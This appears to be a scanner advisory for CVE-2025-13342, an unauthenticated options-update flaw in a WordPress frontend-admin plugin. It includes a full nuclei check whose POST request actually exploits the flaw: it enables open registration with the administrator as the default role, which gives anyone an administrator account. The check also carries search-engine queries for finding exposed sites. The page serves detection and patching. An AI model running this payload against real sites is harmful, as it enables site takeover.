DynamiApps Frontend Admin <= 3.28.20 - Unauthenticated Arbitrary Options Update

criticalseverity

9.8CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

DynamiApps Frontend Admin plugin for WordPress <.= 3.28.20 contains a broken access control vulnerability caused by insufficient capability checks and input validation in ActionOptions::run() save handler, letting unauthenticated attackers modify critical WordPress options via crafted form data.

Impact

Unauthenticated attackers can modify critical WordPress options, potentially leading to site takeover or privilege escalation.

Fix

Update to the latest version beyond 3.28.20.

How to confirm it

Send: GET {{BaseURL}}{{paths}}
Positive when: status_code == 200 and contains_all(body, "frontend-form", "_acf_nonce", "_acf_form")
Send: GET /wp-login.php?action=register
Positive when: contains_any(tolower(body), "registration is not allowed", "registration is currently not allowed", "registration=disabled") || status_code == 302
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "json") and !contains_any(body, "\"success\":false", "\"success\": false", "-1", "invalid_nonce", "nonce_failed")
Send: GET /wp-login.php?action=register
Positive when: status_code == 200 and contains_all(body, "user_login", "user_email") and !contains_any(tolower(body), "registration is not allowed", "registration is currently not allowed")

Run it with nuclei: nuclei -id CVE-2025-13342 -u <target>

The full check

id: CVE-2025-13342

info:
  name: DynamiApps Frontend Admin <= 3.28.20 - Unauthenticated Arbitrary Options Update
  author: 0x_Akoko
  severity: critical
  description: |
    DynamiApps Frontend Admin plugin for WordPress <.= 3.28.20 contains a broken access control vulnerability caused by insufficient capability checks and input validation in ActionOptions::run() save handler, letting unauthenticated attackers modify critical WordPress options via crafted form data.
  impact: |
    Unauthenticated attackers can modify critical WordPress options, potentially leading to site takeover or privilege escalation.
  remediation: |
    Update to the latest version beyond 3.28.20.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/613f2035-3061-429b-b218-83805287e4f3
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13342
    - https://github.com/Altelus1/CVE-2025-13342
    - https://plugins.trac.wordpress.org/changeset/3400432/acf-frontend-form-element
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-13342
    epss-score: 0.02349
    epss-percentile: 0.83824
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: dynamiapps
    product: frontend-admin
    framework: wordpress
    fofa-query: body="/wp-content/plugins/acf-frontend-form-element/"
    shodan-query: http.html:/wp-content/plugins/acf-frontend-form-element/
  tags: cve,cve2025,wordpress,wp,wp-plugin,bac,intrusive,vkev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"

    attack: clusterbomb
    payloads:
      paths:
        - /
        - /submit-post/
        - /edit-post/
        - /create-post/
        - /submit/
        - /register/
        - /registration/
        - /signup/
        - /my-account/
        - /account/
        - /submit-form/
        - /frontend-form/
        - /new-post/
        - /add-listing/
        - /add-post/

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "frontend-form", "_acf_nonce", "_acf_form")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: acf_nonce
        part: body
        group: 1
        regex:
          - 'name="_acf_nonce"[^>]*value="([a-f0-9]+)"'
          - 'value="([a-f0-9]+)"[^>]*name="_acf_nonce"'
        internal: true

      - type: regex
        name: acf_form
        part: body
        group: 1
        regex:
          - 'name="_acf_form"[^>]*value="([^"]+)"'
          - 'value="([^"]+)"[^>]*name="_acf_form"'
        internal: true

  - raw:
      - |
        GET /wp-login.php?action=register HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,*/*

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "registration is not allowed", "registration is currently not allowed", "registration=disabled") || status_code == 302'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        _acf_nonce={{acf_nonce}}&_acf_form={{url_encode(acf_form)}}&action=frontend_admin%2Fform_submit&acff%5Badmin_options%5D%5Busers_can_register%5D=1&acff%5Badmin_options%5D%5Bdefault_role%5D=administrator

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - '!contains_any(body, "\"success\":false", "\"success\": false", "-1", "invalid_nonce", "nonce_failed")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-login.php?action=register HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,*/*

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "user_login", "user_email")'
          - '!contains_any(tolower(body), "registration is not allowed", "registration is currently not allowed")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from